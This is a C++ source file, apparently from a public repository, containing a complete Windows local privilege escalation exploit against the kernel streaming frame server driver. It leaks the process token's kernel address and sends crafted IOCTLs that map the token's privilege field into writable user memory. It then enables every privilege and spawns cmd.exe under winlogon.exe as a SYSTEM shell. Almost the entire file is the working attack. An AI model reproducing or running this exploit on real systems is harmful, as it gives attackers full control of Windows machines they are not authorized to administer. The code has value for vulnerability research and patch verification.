-
Notifications
You must be signed in to change notification settings - Fork 38
/
client.cpp
478 lines (380 loc) · 12.1 KB
/
client.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
#define __STREAMS__
#include "Types.h"
#include <ks.h>
#include <Dshow.h>
#include <ksproxy.h>
#pragma comment(lib, "Ksproxy.lib")
#pragma comment(lib, "ntdll.lib")
DEFINE_GUIDSTRUCT("3C0D501A-140B-11D1-B40F-00A0C9223196", KSNAME_Server);
#define KSNAME_Server DEFINE_GUIDNAMED(KSNAME_Server)
BOOL FSRegisterStream(HANDLE hDevice)
{
IO_STATUS_BLOCK ioStatus;
NTSTATUS status;
HANDLE hEvent;
InputBuffer inbuff = { 0 };
uint32_t high = 0x14;
uint32_t low = 0x0;
hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
if (hEvent == INVALID_HANDLE_VALUE) {
wprintf(L"[!] CreateEventW failed\n");
return FALSE;
}
inbuff.Type = 2;
inbuff.CurrentProcId = (PVOID)GetCurrentProcessId();
inbuff.Flags = 0x000000136FE7474D;
inbuff.qword18 = ((uint64_t)high << 32) | (uint64_t)low;
inbuff.qword20 = 0x40000;
inbuff.hEvent = hEvent;
status = NtDeviceIoControlFile(hDevice, NULL, NULL, NULL, &ioStatus, IOCTL_RegisterStream, &inbuff, sizeof(InputBuffer), 0, 0);
if (status == 0)
{
CloseHandle(hEvent);
return TRUE;
}
else
{
wprintf(L"[!] FSRegisterStream failed with 0x%X\n", status);
CloseHandle(hEvent);
return FALSE;
}
}
BOOL FSInitializeStream(HANDLE hDevice)
{
IO_STATUS_BLOCK ioStatus;
NTSTATUS status;
HANDLE hEvent;
InputBuffer inbuff = { 0 };
uint32_t high = 0x14;
uint32_t low = 0x0;
hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
if (hEvent == INVALID_HANDLE_VALUE) {
wprintf(L"[!] CreateEventW failed\n");
return FALSE;
}
inbuff.Type = 1;
inbuff.CurrentProcId = (PVOID)GetCurrentProcessId();
inbuff.Flags = 0x000000136FE7474D;
inbuff.qword18 = ((uint64_t)high << 32) | (uint64_t)low;
inbuff.qword20 = 0x40000;
inbuff.hEvent = hEvent;
status = NtDeviceIoControlFile(hDevice, NULL, NULL, NULL, &ioStatus, IOCTL_InitializeStream, &inbuff, sizeof(InputBuffer), 0, 0);
if (status == 0)
{
CloseHandle(hEvent);
return TRUE;
}
else
{
wprintf(L"[!] FSInitializeStream failed with 0x%X\n", status);
CloseHandle(hEvent);
return FALSE;
}
}
BOOL FSInitializeContextRendezvous(HANDLE hDevice)
{
IO_STATUS_BLOCK ioStatus;
NTSTATUS status;
DWORD dwbytesreturned = 0;
MY_IRP inbuff = { 0 };
inbuff.CurrentProcId = (PVOID)GetCurrentProcessId();
inbuff.Type = 1;
inbuff.Flags = 0x000000136FE7474D;
status = NtDeviceIoControlFile(hDevice, NULL, NULL, NULL, &ioStatus, IOCTL_IniContextRendezv, &inbuff, sizeof(MY_IRP), NULL, NULL);
if (status == NOERROR)
{
return TRUE;
}
else
{
wprintf(L"[!] FSInitializeContextRendezvous failed with 0x%X\n", status);
return FALSE;
}
}
BOOL FSRendezvousServerRegisterContext(HANDLE hDevice)
{
IO_STATUS_BLOCK ioStatus;
NTSTATUS status;
DWORD dwbytesreturned = 0;
HANDLE hEvent;
hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
if (hEvent == INVALID_HANDLE_VALUE) {
wprintf(L"[!] CreateEventW failed\n");
return FALSE;
}
MY_IRP inbuff = { 0 };
inbuff.Type = 2;
inbuff.CurrentProcId = (PVOID)GetCurrentProcessId();
inbuff.Flags = 0x000000136FE7474D;
inbuff.hEvent = hEvent;
status = NtDeviceIoControlFile(hDevice, NULL, NULL, NULL, &ioStatus, IOCTL_RegisterContext, &inbuff, sizeof(MY_IRP), NULL, NULL);
if (status == NOERROR)
{
CloseHandle(hEvent);
return TRUE;
}
else
{
wprintf(L"[!] FSRendezvousServerRegisterContext failed with 0x%X\n", status);
CloseHandle(hEvent);
return FALSE;
}
}
uint64_t GetTokenAddress()
{
NTSTATUS status;
HANDLE currentProcess = GetCurrentProcess();
HANDLE currentToken = NULL;
uint64_t tokenAddress = 0;
ULONG ulBytes = 0;
PSYSTEM_HANDLE_INFORMATION handleTableInfo = NULL;
BOOL success = OpenProcessToken(currentProcess, TOKEN_QUERY, ¤tToken);
if (!success)
{
wprintf(L"[!] Couldn't open a handle to the current process token. (Error code: %d)\n", GetLastError());
return 0;
}
// Allocate space in the heap for the handle table information which will be filled by the call to 'NtQuerySystemInformation' API
while ((status = NtQuerySystemInformation(SystemHandleInformation, handleTableInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH)
{
if (handleTableInfo != NULL)
{
handleTableInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, handleTableInfo, 2 * ulBytes);
}
else
{
handleTableInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * ulBytes);
}
}
if (status == 0)
{
// iterate over the system's handle table and look for the handles beloging to our process
for (ULONG i = 0; i < handleTableInfo->NumberOfHandles; i++)
{
// if it finds our process and the handle matches the current token handle we already opened, print it
if (handleTableInfo->Handles[i].UniqueProcessId == GetCurrentProcessId() && handleTableInfo->Handles[i].HandleValue == (USHORT)currentToken)
{
tokenAddress = (uint64_t)handleTableInfo->Handles[i].Object;
break;
}
}
}
else
{
if (handleTableInfo != NULL)
{
wprintf(L"[!] NtQuerySystemInformation failed. (NTSTATUS code: 0x%X)\n", status);
HeapFree(GetProcessHeap(), 0, handleTableInfo);
CloseHandle(currentToken);
return 0;
}
}
HeapFree(GetProcessHeap(), 0, handleTableInfo);
CloseHandle(currentToken);
return tokenAddress;
}
BOOL PublishTx(HANDLE hDevice, uint64_t TokenAddr)
{
IO_STATUS_BLOCK ioStatus;
NTSTATUS status;
EvilBuffer inbuffer = { 0 };
PublishTxOut outbuffer = { 0 };
// There will be two pages mapped to user space one with RW and one with R
// we could map the system TOKEN to the R only page and our process token to the RW page
// then overwrite it with system token
inbuffer.size = sizeof(EvilBuffer);
inbuffer.value = ((uint64_t)0x1 << 32) | (uint64_t)0x3;
inbuffer.value2 = 0x1;
inbuffer.virtualAddress2 = TokenAddr; //RW
inbuffer.size1 = ((uint64_t)0x1000 << 32) | (uint64_t)0x140;
inbuffer.virtualAddress3 = TokenAddr; // R
inbuffer.size2 = ((uint64_t)0x1000 << 32) | (uint64_t)0x140;
inbuffer.flag = 0x10000000; // Important value do not change it otherwise the page will be mapped as read only
inbuffer.Priority = 0x00000004; // Important value do not change
status = NtDeviceIoControlFile(hDevice, NULL, NULL, NULL, &ioStatus, IOCTL_PublishTx, &inbuffer, sizeof(EvilBuffer), &outbuffer, sizeof(PublishTxOut));
if (status == NOERROR)
{
wprintf(L"[+] PublishTx stats[txsize:%I64d,rxsize:%I64d,txcount:%d,rxcount:%d]\n",
outbuffer.txsize,
outbuffer.rxsize,
outbuffer.txcount,
outbuffer.rxcount);
return TRUE;
}
else
{
wprintf(L"[!] PublishTx failed with 0x%X\n", status);
return FALSE;
}
}
BOOL ConsumeTx(HANDLE hDevice, uint8_t **Addr)
{
IO_STATUS_BLOCK ioStatus;
NTSTATUS status;
ConsumeTxOut inbuffer = { 0 };
// Allocate memory in user mode
PVOID Inbuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (Inbuffer == NULL) {
wprintf(L"[!] VirtualAlloc failed with 0x%X\n", GetLastError());
return FALSE;
}
wprintf(L"[+] VirtualAlloc buffer => %p\n", Inbuffer);
inbuffer.size = 0x1000;
inbuffer.value = 0x6;
memcpy(Inbuffer, &inbuffer, 0x30);
status = NtDeviceIoControlFile(hDevice, NULL, NULL, NULL, &ioStatus, IOCTL_ConsumeTx, Inbuffer, sizeof(ConsumeTxOut), Inbuffer, sizeof(ConsumeTxOut));
if (status == NOERROR)
{
memcpy(&inbuffer, Inbuffer, 0x68);
wprintf(L"[+] ConsumeTx stats[txsize:%I64d,rxsize:%I64d,txcount:%d,rxcount:%d]\n",
inbuffer.txsize,
inbuffer.rxsize,
inbuffer.txcount,
inbuffer.rxcount);
*Addr = inbuffer.PageVaAddressRW;
return TRUE;
}
else
{
wprintf(L"[!] ConsumeTx failed with 0x%X\n", status);
return FALSE;
}
}
DWORD getProcessId(const wchar_t* process)
{
HANDLE hSnapShot;
PROCESSENTRY32 pe32;
DWORD pid;
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapShot == INVALID_HANDLE_VALUE)
{
printf("\n[-] Failed to create handle CreateToolhelp32Snapshot()\n\n");
return -1;
}
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapShot, &pe32) == FALSE)
{
printf("\n[-] Failed to call Process32First()\n\n");
return -1;
}
do
{
if (_wcsicmp(pe32.szExeFile, process) == 0)
{
pid = pe32.th32ProcessID;
return pid;
}
} while (Process32Next(hSnapShot, &pe32));
CloseHandle(hSnapShot);
return 0;
}
int spawnShell()
{
const wchar_t* process = L"winlogon.exe";
DWORD pid;
HANDLE hProcess;
HANDLE hThread;
LPVOID ptrtomem;
pid = getProcessId(process);
if ((hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid)) == NULL)
{
wprintf(L"\n[-] Unable to open %ws process\n\n", process);
return -1;
}
wprintf(L"\n[+] Opened %ws process pid=%d with PROCESS_ALL_ACCESS rights", process, pid);
SIZE_T size;
STARTUPINFOEXW siex = { 0 };
siex.StartupInfo.cb = sizeof(siex);
siex.lpAttributeList = NULL;
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
siex.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, size);
InitializeProcThreadAttributeList(siex.lpAttributeList, 1, 0, &size);
UpdateProcThreadAttribute(siex.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProcess, sizeof(hProcess), NULL, NULL);
PROCESS_INFORMATION pi;
WCHAR cmdPath[] = L"C:\\Windows\\System32\\cmd.exe";
if (!CreateProcessW(NULL, cmdPath, NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&siex, &pi)) {
wprintf(L"[-] Failed to create new process.\n");
wprintf(L" |-> %d\n", GetLastError());
HeapFree(GetProcessHeap(), 0, siex.lpAttributeList);
return FALSE;
}
wprintf(L"[+] New process is created successfully.\n");
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
HeapFree(GetProcessHeap(), 0, siex.lpAttributeList);
return 0;
}
int main()
{
uint64_t tokenAddress = 0;
HANDLE DeviceH1, DeviceH2, DeviceH3;
HRESULT hr;
hr = KsOpenDefaultDevice(KSNAME_Server, GENERIC_READ | GENERIC_WRITE, &DeviceH1);
if (hr != NOERROR) {
wprintf(L"Error: %ld\n", hr);
return 1;
}
hr = KsOpenDefaultDevice(KSNAME_Server, GENERIC_READ | GENERIC_WRITE, &DeviceH2);
if (hr != NOERROR) {
wprintf(L"Error: %ld\n", hr);
return 1;
}
hr = KsOpenDefaultDevice(KSNAME_Server, GENERIC_READ | GENERIC_WRITE, &DeviceH3);
if (hr != NOERROR) {
wprintf(L"Error: %ld\n", hr);
return 1;
}
wprintf(L"[+] Successfully got a handle 1 => %p\n", DeviceH1);
wprintf(L"[+] Successfully got a handle 2 => %p\n", DeviceH2);
wprintf(L"[+] Successfully got a handle 3 => %p\n", DeviceH3);
tokenAddress = GetTokenAddress();
uint64_t privaddr = tokenAddress + OFFSET_OF_TOKEN_PRIVILEGES;
if (tokenAddress)
{
wprintf(L"[+] Target process TOKEN address: %llx\n", tokenAddress);
wprintf(L"[+] Target process _SEP_TOKEN_PRIVILEGES address: %llx\n", privaddr);
}
BOOL success = FALSE;
success = FSInitializeContextRendezvous(DeviceH1);
if (success)
{
wprintf(L"[^] InitializeContextRendezvous successfully\n");
}
success = FSInitializeStream(DeviceH2);
if (success)
{
wprintf(L"[^] FSInitializeStream successfully\n");
}
success = FSRegisterStream(DeviceH3);
if (success)
{
wprintf(L"[^] FSRegisterStream successfully\n");
}
success = PublishTx(DeviceH3, privaddr);
if (success)
{
wprintf(L"[^] PublishTx successfully\n");
}
uint8_t *mappedAddress = NULL;
success = ConsumeTx(DeviceH3, &mappedAddress);
if (success)
{
wprintf(L"[^] ConsumeTx successfully\n");
}
uint64_t address = (uint64_t)mappedAddress;
uint64_t baseAlignment = 0x1000;
// Align the address
uint64_t alignedAddress = address & ~(baseAlignment - 1);
wprintf(L"[+] Aligned VA Base Address => %p\n", (void*)alignedAddress);
wprintf(L"[+] VA Token Address => %p\n", mappedAddress);
if(mappedAddress != NULL)
{
// Enable all privileges
memset(mappedAddress, 0xFF, 0x10);
spawnShell();
}
CloseHandle(DeviceH1);
CloseHandle(DeviceH2);
CloseHandle(DeviceH3);
return 0;
}